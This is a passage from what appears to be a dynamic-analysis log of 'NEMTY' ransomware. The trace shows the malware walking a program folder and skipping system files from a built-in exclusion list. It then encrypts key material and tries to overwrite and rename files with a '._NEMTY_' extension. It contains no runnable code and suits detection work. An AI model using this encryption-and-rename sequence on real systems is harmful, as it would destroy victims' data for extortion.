lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0092.249] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0092.250] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0092.250] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0092.250] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0092.250] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0092.250] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0092.250] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0092.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0092.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0092.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0092.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0092.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0092.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0092.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0092.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0092.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0092.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0092.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0092.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0092.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0092.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0092.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0092.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0092.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0092.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0092.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0092.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0092.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0092.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0092.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0092.250] Sleep (dwMilliseconds=0x5) [0092.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeaa2c870, dwHighDateTime=0x1d561e7)) [0092.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeaa2c870, dwHighDateTime=0x1d561e7)) [0092.256] GetLastError () returned 0x5 [0092.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.256] GetLastError () returned 0x5 [0092.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0092.256] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0092.256] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0092.257] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0092.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0092.257] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="Ipw+FGm/a/ylQpGIpEcPGGwOILKgDMplHAuChmaKoYxiCtwBaqwMPLQj5gj0euVY\r\nKxyGD7OwhUo7siBiVJaC48fyKB/IftE0JEIO24yad89kdX42AmJv54yo6w5xlRF0\r\nIFisD1Lo+dbhMeKlxt6LNCoE91C/FMAFLpTCuMen1tqlxEcc6h1Z6SpAQ9WH+mwc\r\n/LXNyRzNqPhgLMmJtpma49BlQoDOWUt5P7ssDxj8pZTGMClWiSukBpJbam36w9pe\r\nPRaC2mWB90dzCkxQ0UDQWSccszBRfnvdhkpyvUUQxT6gVuhGKpLS4Vw1JyN2+acV\r\nos21pbv+o/kr/AaxQAktQw==\r\n", pcchString=0x653e91c) returned 1 [0092.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0092.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0092.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0092.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0092.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0092.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0092.257] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.257] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0092.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0092.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.324] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.358] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.358] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0092.365] CloseHandle (hObject=0xffffffff) returned 0 [0092.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0092.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0092.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0092.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0092.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0092.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0092.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0092.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0092.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0092.365] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0092.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0092.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0092.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0092.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0092.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0092.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0092.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0092.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0092.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.366] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0092.366] lstrcmpiW 